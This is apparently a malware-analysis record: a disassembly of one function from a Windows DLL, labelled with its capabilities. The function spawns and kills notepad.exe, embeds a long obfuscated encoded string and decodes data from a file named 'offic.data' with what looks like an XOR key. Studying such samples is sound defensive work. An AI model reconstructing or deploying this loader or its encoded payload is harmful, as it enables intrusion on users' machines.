Function at 0x180009c40
Capabilities:
Create process on windows
Terminate process

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x300
mov rax, qword [0x18003b0c0]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
mov eax, dword [rsp + 0x318]
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 1
je 0x180009c7f
jmp 0x180009ea7
call fcn.180004e20
mov dword [rsp + 0x170], 0x68
lea rax, [rsp + 0x178]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
lea rax, [rsp + 0x110]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.notepad.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor edx, edx
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov r8d, 0x104
lea rdx, [rsp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
nop
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0xd0]
call fcn.180003080
mov qword [rsp + 0x60], rax
mov r8, 0xffffffffffffffff
lea rdx, [0x1800284d4]
mov rcx, qword [rsp + 0x60]
call fcn.1800074b0
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0xd0]
call fcn.180003f00
nop
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0xf0]
call fcn.180003080
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x78], rax
mov r9, qword [rsp + 0x70]
xor r8d, r8d
lea rdx, [rsp + 0x150]
mov rcx, qword [rsp + 0x78]
call fcn.180008d50
nop
lea rcx, [rsp + 0xf0]
call fcn.180003f00
nop
lea rax, str.pBDbvKiwkFhYWBkJGQgKCQ4QaYo9ENMKOBDTCkAQ0wp4ENMqCBBX7xISFWmREGmY9GQ5JFp0eBmZkVUZWZm6tQoZCRDTCnjTGmQQWYg2SBAU1otKtPY0FhYWBDdmCw_EFmICNMQQBzTGHgRWYi7DhCnkRnTbNAQWY4VaZEQaZj0GZmRVRlZmWC4LakUWxR8UB1hiS2AABzTGHwRWYgGdNUEBzTGEQRWYgZ01zQEFmIGQAZAAYBAhkAGQEZAhDbtHgZCqe4ABkBAhDTSrEXp6enBTJYEeYvMTYxNj0sWBkOEdGFNGpGeIUL35fp40QaZEQaYoVaZgVaZEZCBkIGeJiDiH_p42xy1hYWAIQ0ZkZ4ONZWFgVaZEZCRkJMlsZCRniD9HHnqeNsyEDENGZEGmKEdGAFWmRCjBYapjcCgoZ4rMNdmOnjRDRnhDbmwgyUgcQ0aniR1hYWDJYMNhrWFgR0bgZ4VxYWFgZ4i0ext6njRDRqRDRghGfmKenp6cVaZEKChnidV5AI6eN3ZhX3cVZWFgQp5dX3NRZWFiz67G8WVhYsNqnp6d3IiEiIiFYbRd5CH0YGQgDbAQIAgBtbHAIBnFvGxtxbyV8HREbGQp1CwwZFhwZChx1GRYMEQ4RCg0LdQwdCwx1HhEUHXl8EHMQclhtF3kIWA0rPSp1GT89NixieBU3IjE0NDl3bXZoeHAAaWlpY3gUMTYtIHggYG4HbmxxeBkoKDQ9Dz06EzEsd21rb3ZrbnhwExAMFRR0eDQxMz14Hz07MzdxeBswKjc1PXdpam52aHZodmh4CzkOSoxd21rb3ZrblVSEDcrLGJ4MDEoPSo7MDksdjcqP1VSWG0XeQh9GBkIA2wECAIAbWxwCAZxbxsbcW8lfB0RGxkKdQsMGRYcGQocdRkWDBEOEQoNC3UMHQsMdR4RFB15fBBzEHJYbRd5CH0YGQgDbAQIAgBtbHAIBnFvGxtxbyV8HREbGQp1CwwZFhwZChx1GRYMEQ4RCg0LdQwdCwx1HhEUHXl8EHMQclhtF3kIfRgZCANsBAgCAG1scAgGcW8bG3FvJXwdEVgZ5qjtg6njRBpkeJYWBhYGeBYSFhYGeEYWFhYGeIA_Au9p40QywsLENG_ENGpENGCGeBYeFhYEdGhGeJKztG6p40Q25x43Zgs7j7TXxBZm92YLY8AAAAQXVhYWFgIm7AnpaenMDEoPSo7MDksdjcqP1hYWFhY
mov qword [rsp + 0x80], rax
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0x90]
call fcn.180003080
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x130]
call fcn.1800067b0
nop
lea rcx, [rsp + 0x90]
call fcn.180003f00
nop
lea rdx, [0x1800289b8]
lea rcx, [rsp + 0xb0]
call fcn.180003080
nop
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0xb0]
call fcn.1800095a0
nop
lea rcx, [rsp + 0xb0]
call fcn.180003f00
nop
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x58], 0
mov byte [rsp + 0x50], 0x58
lea rax, str.offic.data
mov qword [rsp + 0x88], rax
movzx r8d, byte [rsp + 0x50]
lea rdx, [rsp + 0x128]
mov rcx, qword [rsp + 0x88]
call fcn.180004cd0
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x58]
call fcn.180008730
nop
lea rcx, [rsp + 0x130]
call fcn.180003f00
nop
lea rcx, [rsp + 0x150]
call fcn.180003f00
nop
mov eax, 1
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.18000bd30
add rsp, 0x300
pop rdi
ret